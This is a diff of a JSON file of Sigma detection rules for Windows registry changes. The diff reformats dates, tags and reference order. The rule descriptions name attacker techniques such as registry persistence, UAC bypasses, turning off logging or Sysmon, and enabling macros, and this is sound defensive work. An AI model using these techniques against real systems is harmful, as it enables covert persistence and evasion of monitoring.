"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_comhijack_psfactorybuffer.yml" ], "tags": [ @@ -1228,7 +1229,7 @@ "description": "Detects usage of Windows Input Method Editor (IME) keyboard layout feature, which allows an attacker to load a DLL into the process after sending the WM_INPUTLANGCHANGEREQUEST message.\nBefore doing this, the client needs to register the DLL in a special registry key that is assumed to implement this keyboard layout. This registry key should store a value named \"Ime File\" with a DLL path.\nIMEs are essential for languages that have more characters than can be represented on a standard keyboard, such as Chinese, Japanese, and Korean.\n", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/11/21", + "creation_date": "2023-11-21", "falsepositive": [ "Unknown" ], @@ -1241,7 +1242,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ime_suspicious_paths.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -1261,7 +1262,7 @@ "description": "BlackByte set three different registry values to escalate privileges and begin setting the stage for lateral movement and encryption", "meta": { "author": "frack113", - "creation_date": "2022/01/24", + "creation_date": "2022-01-24", "falsepositive": [ "Unknown" ], @@ -1275,7 +1276,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_blackbyte_ransomware.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -1295,7 +1296,7 @@ "description": "Detects when an attacker adds a new \"DLLPathOverride\" value to the \"Natural Language\" key in order to achieve persistence which will get invoked by \"SearchIndexer.exe\" process", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/21", + "creation_date": "2022-07-21", "falsepositive": [ "Unknown" ], @@ -1304,8 +1305,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://persistence-info.github.io/Data/naturallanguage6.html", "https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/", + "https://persistence-info.github.io/Data/naturallanguage6.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_natural_language.yml" ], "tags": [ @@ -1319,7 +1320,7 @@ "description": "Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious", "meta": { "author": "Syed Hasan (@syedhasan009)", - "creation_date": "2021/06/18", + "creation_date": "2021-06-18", "falsepositive": [ "Unknown" ], @@ -1328,8 +1329,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://labs.f-secure.com/blog/scheduled-task-tampering/", "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://labs.f-secure.com/blog/scheduled-task-tampering/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_taskcache_entry.yml" ], "tags": [ @@ -1361,7 +1362,7 @@ "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time\n", "meta": { "author": "frack113", - "creation_date": "2021/12/30", + "creation_date": "2021-12-30", "falsepositive": [ "Legitimate custom SHIM installations will also trigger this rule" ], @@ -1370,9 +1371,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-3---registry-key-creation-andor-modification-events-for-sdb", - "https://andreafortuna.org/2018/11/12/process-injection-and-persistence-using-application-shimming/", "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html", + "https://andreafortuna.org/2018/11/12/process-injection-and-persistence-using-application-shimming/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-3---registry-key-creation-andor-modification-events-for-sdb", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_shim_database.yml" ], "tags": [ @@ -1396,7 +1397,7 @@ "description": "Detect changes to the \"LegalNoticeCaption\" or \"LegalNoticeText\" registry values where the message set contains keywords often used in ransomware ransom messages", "meta": { "author": "frack113", - "creation_date": "2022/12/11", + "creation_date": "2022-12-11", "falsepositive": [ "Unknown" ], @@ -1429,7 +1430,7 @@ "description": "Detects changes to the Netsh registry key to add a new DLL value. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper\n", "meta": { "author": "Anish Bogati", - "creation_date": "2023/11/28", + "creation_date": "2023-11-28", "falsepositive": [ "Legitimate helper added by different programs and the OS" ], @@ -1463,7 +1464,7 @@ "description": "Detects potential PowerShell commands or code within registry run keys", "meta": { "author": "frack113, Florian Roth (Nextron Systems)", - "creation_date": "2022/03/17", + "creation_date": "2022-03-17", "falsepositive": [ "Legitimate admin or third party scripts. Baseline according to your environment" ], @@ -1497,7 +1498,7 @@ "description": "Detects potential COM object hijacking via modification of default system CLSID.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/07/16", + "creation_date": "2024-07-16", "falsepositive": [ "Unlikely" ], @@ -1530,7 +1531,7 @@ "description": "Detects tampering with the \"ChannelAccess\" registry key in order to change access to Windows event channel.", "meta": { "author": "frack113", - "creation_date": "2022/09/17", + "creation_date": "2022-09-17", "falsepositive": [ "Unknown" ], @@ -1545,7 +1546,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_winevt_channelaccess.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.002" ] }, @@ -1565,7 +1566,7 @@ "description": "Detects the modification of Outlook security setting to allow unprompted execution of macros.", "meta": { "author": "@ScoubiMtl", - "creation_date": "2021/04/05", + "creation_date": "2021-04-05", "falsepositive": [ "Unlikely" ], @@ -1574,13 +1575,13 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53", + "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_outlook_enable_macro_execution.yml" ], "tags": [ "attack.persistence", - "attack.command_and_control", + "attack.command-and-control", "attack.t1137", "attack.t1008", "attack.t1546" @@ -1616,7 +1617,7 @@ "description": "Detects changes to the \"NoLMHash\" registry value in order to allow Windows to store LM Hashes.\nBy setting this registry value to \"0\" (DWORD), Windows will be allowed to store a LAN manager hash of your password in Active Directory and local SAM databases.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/12/15", + "creation_date": "2023-12-15", "falsepositive": [ "Unknown" ], @@ -1631,7 +1632,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_system_lsa_nolmhash.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -1651,7 +1652,7 @@ "description": "Detects registry changes to Microsoft Office \"VBAWarning\" to a value of \"1\" which enables the execution of all macros, whether signed or unsigned.", "meta": { "author": "Trent Liffick (@tliffick), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/05/22", + "creation_date": "2020-05-22", "falsepositive": [ "Unlikely" ], @@ -1660,13 +1661,13 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/", "https://twitter.com/inversecos/status/1494174785621819397", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", - "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_vba_warnings_tamper.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -1686,7 +1687,7 @@ "description": "Attempts to detect system changes made by Blue Mockingbird", "meta": { "author": "Trent Liffick (@tliffick)", - "creation_date": "2020/05/14", + "creation_date": "2020-05-14", "falsepositive": [ "Unknown" ], @@ -1727,7 +1728,7 @@ "description": "Bypasses User Account Control using a fileless method", "meta": { "author": "frack113", - "creation_date": "2022/01/05", + "creation_date": "2022-01-05", "falsepositive": [ "Unknown" ], @@ -1736,14 +1737,14 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://devblogs.microsoft.com/oldnewthing/20100312-01/?p=14623", "https://learn.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-7---bypass-uac-using-sdclt-delegateexecute", + "https://devblogs.microsoft.com/oldnewthing/20100312-01/?p=14623", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_delegateexecute.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1548.002" ] }, @@ -1763,7 +1764,7 @@ "description": "Detects the modification of Outlook setting \"LoadMacroProviderOnBoot\" which if enabled allows the automatic loading of any configured VBA project/module", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/04/05", + "creation_date": "2021-04-05", "falsepositive": [ "Unknown" ], @@ -1778,7 +1779,7 @@ ], "tags": [ "attack.persistence", - "attack.command_and_control", + "attack.command-and-control", "attack.t1137", "attack.t1008", "attack.t1546" @@ -1814,7 +1815,7 @@ "description": "Detects disabling Windows Defender Exploit Guard Network Protection", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/04", + "creation_date": "2021-08-04", "falsepositive": [ "Unknown" ], @@ -1827,7 +1828,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -1847,7 +1848,7 @@ "description": "Detect possible persistence using Fax DLL load when service restart", "meta": { "author": "frack113", - "creation_date": "2022/07/17", + "creation_date": "2022-07-17", "falsepositive": [ "Unknown" ], @@ -1856,12 +1857,12 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", "https://twitter.com/dottor_morte/status/1544652325570191361", + "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_dll_persistance.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -1881,7 +1882,7 @@ "description": "Detects changes to the Internet Explorer \"DisableFirstRunCustomize\" value, which prevents Internet Explorer from running the first run wizard the first time a user starts the browser after installing Internet Explorer or Windows.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/16", + "creation_date": "2023-05-16", "falsepositive": [ "As this is controlled by group policy as well as user settings. Some false positives may occur." ], @@ -1890,13 +1891,13 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://admx.help/?Category=InternetExplorer&Policy=Microsoft.Policies.InternetExplorer::NoFirstRunCustomise", "https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/devil-bait/NCSC-MAR-Devil-Bait.pdf", + "https://admx.help/?Category=InternetExplorer&Policy=Microsoft.Policies.InternetExplorer::NoFirstRunCustomise", "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_internet_explorer_disable_first_run_customize.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "ab567429-1dfb-4674-b6d2-979fd2f9d125", @@ -1906,7 +1907,7 @@ "description": "Detects applications or users re-enabling old TLS versions by setting the \"Enabled\" value to \"1\" for the \"Protocols\" registry key.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/09/05", + "creation_date": "2023-09-05", "falsepositive": [ "Legitimate enabling of the old tls versions due to incompatibility" ], @@ -1919,7 +1920,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_tls_protocol_old_version_enabled.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "439957a7-ad86-4a8f-9705-a28131c6821b", @@ -1929,7 +1930,7 @@ "description": "Detects when an attacker registers a new IFilter for an extension. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index.\nYou can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/21", + "creation_date": "2022-07-21", "falsepositive": [ "Legitimate registration of IFilters by the OS or software" ], @@ -1938,9 +1939,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/gtworek/PSBits/tree/master/IFilter", - "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/IFilter/Dll.cpp#L281-L308", "https://persistence-info.github.io/Data/ifilters.html", + "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/IFilter/Dll.cpp#L281-L308", + "https://github.com/gtworek/PSBits/tree/master/IFilter", "https://twitter.com/0gtweet/status/1468548924600459267", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_ifilter.yml" ], @@ -1955,7 +1956,7 @@ "description": "Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the \"HTTP\" and \"HTTPS\" protocols to point to the \"My Computer\" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Michael Haag (idea)", - "creation_date": "2023/09/05", + "creation_date": "2023-09-05", "falsepositive": [ "Unknown" ], @@ -1964,14 +1965,14 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/339ff720c74dc44265b917b6d3e3ba0411d61f3cd3c328e9a2bae81592c8a6e5/content", + "https://learn.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries", "https://twitter.com/M_haggis/status/1699056847154725107", + "https://www.virustotal.com/gui/file/339ff720c74dc44265b917b6d3e3ba0411d61f3cd3c328e9a2bae81592c8a6e5/content", "https://twitter.com/JAMESWT_MHT/status/1699042827261391247", - "https://learn.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ie_security_zone_protocol_defaults_downgrade.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "3fd4c8d7-8362-4557-a8e6-83b29cc0d724", @@ -1981,7 +1982,7 @@ "description": "Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders.\nBoth services are used in the tool Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU (https://github.com/hfiref0x/KDU)\n", "meta": { "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", - "creation_date": "2019/04/08", + "creation_date": "2019-04-08", "falsepositive": [ "Other legimate tools using this service names and drivers. Note - clever attackers may easily bypass this detection by just renaming the services. Therefore just Medium-level and don't rely on it." ], @@ -1995,7 +1996,7 @@ ], "tags": [ "attack.t1562.001", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -2014,7 +2015,7 @@ "description": "Detects changes to the registry for the currently logged-in user. In order to disable PowerShell module logging, script block logging or transcription and script execution logging", "meta": { "author": "frack113", - "creation_date": "2022/04/02", + "creation_date": "2022-04-02", "falsepositive": [ "Unknown" ], @@ -2027,7 +2028,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_logging_disabled.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.001" ] }, @@ -2047,7 +2048,7 @@ "description": "Detects potential registry persistence technique using the Event Viewer \"Events.asp\" technique", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/17", + "creation_date": "2023-02-17", "falsepositive": [ "Unknown" ], @@ -2056,15 +2057,15 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1112/T1112.md", - "https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.InternetCommunicationManagement::EventViewer_DisableLinks", "https://twitter.com/nas_bench/status/1626648985824788480", "https://www.hexacorn.com/blog/2019/02/15/beyond-good-ol-run-key-part-103/", + "https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.InternetCommunicationManagement::EventViewer_DisableLinks", + "https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1112/T1112.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_event_viewer_events_asp.yml" ], "tags": [ "attack.persistence", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -2084,7 +2085,7 @@ "description": "Detects the enabling of the \"EnablePeriodicBackup\" registry value. Once enabled, The OS will backup System registry hives on restarts to the \"C:\\Windows\\System32\\config\\RegBack\" folder. Windows creates a \"RegIdleBackup\" task to manage subsequent backups.\nRegistry backup was a default behavior on Windows and was disabled as of \"Windows 10, version 1803\".\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/07/01", + "creation_date": "2024-07-01", "falsepositive": [ "Legitimate need for RegBack feature by administrators." ], @@ -2117,7 +2118,7 @@ "description": "Detect use of scrobj.dll as this DLL looks for the ScriptletURL key to get the location of the script to execute", "meta": { "author": "frack113", - "creation_date": "2022/08/20", + "creation_date": "2022-08-20", "falsepositive": [ "Legitimate use of the dll." ], @@ -2150,7 +2151,7 @@ "description": "Running Chrome VPN Extensions via the Registry install 2 vpn extension", "meta": { "author": "frack113", - "creation_date": "2021/12/28", + "creation_date": "2021-12-28", "falsepositive": [ "Unknown" ], @@ -2183,7 +2184,7 @@ "description": "Detects the abuse of the exefile handler in new file association. Used for bypass of security products.", "meta": { "author": "Andreas Hunkeler (@Karneades)", - "creation_date": "2021/11/19", + "creation_date": "2021-11-19", "falsepositive": [ "Unknown" ], @@ -2196,7 +2197,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_file_association_exefile.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "44a22d59-b175-4f13-8c16-cbaef5b581ff", @@ -2206,7 +2207,7 @@ "description": "Detects tampering with EventLog service \"file\" key. In order to change the default location of an Evtx file. This technique is used to tamper with log collection and alerting", "meta": { "author": "D3F7A5105", - "creation_date": "2023/01/02", + "creation_date": "2023-01-02", "falsepositive": [ "Unknown" ], @@ -2219,7 +2220,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_evtx_file_key_tamper.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.002" ] }, @@ -2239,7 +2240,7 @@ "description": "Detects UAC bypass method using Windows event viewer", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/03/19", + "creation_date": "2017-03-19", "falsepositive": [ "Unknown" ], @@ -2248,13 +2249,13 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_eventvwr.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002", "car.2019-04-001" ] @@ -2275,7 +2276,7 @@ "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/06/05", + "creation_date": "2020-06-05", "falsepositive": [ "Unknown" ], @@ -2284,21 +2285,21 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", - "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf", - "https://bunnyinside.com/?term=f71e8cb9c76a", "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", + "https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/", "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", - "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", - "https://twitter.com/_xpn_/status/1268712093928378368", + "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", + "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf", "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://twitter.com/_xpn_/status/1268712093928378368", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", + "https://bunnyinside.com/?term=f71e8cb9c76a", "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", - "https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/", - "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dot_net_etw_tamper.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112", "attack.t1562" ] @@ -2326,7 +2327,7 @@ "description": "Detect potential persistence via the creation of an excel add-in (XLL) file to make it run automatically when Excel is started.", "meta": { "author": "frack113", - "creation_date": "2023/01/15", + "creation_date": "2023-01-15", "falsepositive": [ "Unknown" ], @@ -2360,7 +2361,7 @@ "description": "Detects modification to the \"Default\" value of the \"MyComputer\" key and subkeys to point to a custom binary that will be launched whenever the associated action is executed (see reference section for example)", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/09", + "creation_date": "2022-08-09", "falsepositive": [ "Unlikely but if you experience FPs add specific processes and locations you would like to monitor for" ], @@ -2383,7 +2384,7 @@ "description": "Detects the addition of new root, CA or AuthRoot certificates to the Windows registry", "meta": { "author": "frack113", - "creation_date": "2022/04/04", + "creation_date": "2022-04-04", "falsepositive": [ "Unknown" ], @@ -2392,8 +2393,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md#atomic-test-6---add-root-certificate-to-currentuser-certificate-store", + "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_install_root_or_ca_certificat.yml" ], "tags": [ @@ -2417,7 +2418,7 @@ "description": "Detects when an attacker modifies the registry key \"HtmlHelp Author\" to achieve persistence", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/21", + "creation_date": "2022-07-21", "falsepositive": [ "Unknown" ], @@ -2426,8 +2427,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://persistence-info.github.io/Data/htmlhelpauthor.html", "https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/", + "https://persistence-info.github.io/Data/htmlhelpauthor.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_chm.yml" ], "tags": [ @@ -2441,7 +2442,7 @@ "description": "Detects changes to the Netsh registry key to add a new DLL value that is located on a suspicious location. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/11/28", + "creation_date": "2023-11-28", "falsepositive": [ "Unknown" ], @@ -2475,7 +2476,7 @@ "description": "Detects potential COM object hijacking leveraging the COM Search Order", "meta": { "author": "Maxime Thiebaut (@0xThiebaut), oscd.community, Cédric Hien", - "creation_date": "2020/04/14", + "creation_date": "2020-04-14", "falsepositive": [ "Some installed utilities (i.e. OneDrive) may serve new COM objects at user-level" ], @@ -2508,7 +2509,7 @@ "description": "Detects the keyboard preload installation with a suspicious keyboard layout, e.g. Chinese, Iranian or Vietnamese layout load in user session on systems maintained by US staff only", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/10/12", + "creation_date": "2019-10-12", "falsepositive": [ "Administrators or users that actually use the selected keyboard layouts (heavily depends on the organisation's user base)" ], @@ -2517,12 +2518,12 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/SwiftOnSecurity/sysmon-config/pull/92/files", "https://renenyffenegger.ch/notes/Windows/registry/tree/HKEY_CURRENT_USER/Keyboard-Layout/Preload/index", + "https://github.com/SwiftOnSecurity/sysmon-config/pull/92/files", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_keyboard_layout_load.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1588.002" ] }, @@ -2542,7 +2543,7 @@ "description": "Detects changes in Sysmon driver altitude value.\nIf the Sysmon driver is configured to load at an altitude of another registered service, it will fail to load at boot.\n", "meta": { "author": "B.Talebi", - "creation_date": "2022/07/28", + "creation_date": "2022-07-28", "falsepositive": [ "Legitimate driver altitude change to hide sysmon" ], @@ -2551,12 +2552,12 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650", "https://youtu.be/zSihR3lTf7g", + "https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_sysmon_driver_altitude.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -2576,7 +2577,7 @@ "description": "Detect enable rdp feature to allow specific user to rdp connect on the targeted machine", "meta": { "author": "frack113", - "creation_date": "2022/08/19", + "creation_date": "2022-08-19", "falsepositive": [ "Legitimate use of the feature (alerts should be investigated either way)" ], @@ -2589,7 +2590,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_allow_rdp_remote_assistance_feature.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -2609,7 +2610,7 @@ "description": "Detects when an attacker modifies the \"REG_MULTI_SZ\" value named \"Extensions\" to include a custom DLL to achieve persistence via lsass.\nThe \"Extensions\" list contains filenames of DLLs being automatically loaded by lsass.exe. Each DLL has its InitializeLsaExtension() method called after loading.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/21", + "creation_date": "2022-07-21", "falsepositive": [ "Unlikely" ], @@ -2633,7 +2634,7 @@ "description": "Detects tampering of RDP Terminal Service/Server sensitive settings.\nSuch as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections'...etc\n", "meta": { "author": "Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali", - "creation_date": "2022/08/06", + "creation_date": "2022-08-06", "falsepositive": [ "Some of the keys mentioned here could be modified by an administrator while setting group policy (it should be investigated either way)" ], @@ -2642,20 +2643,20 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", - "https://blog.sekoia.io/darkgate-internals/", - 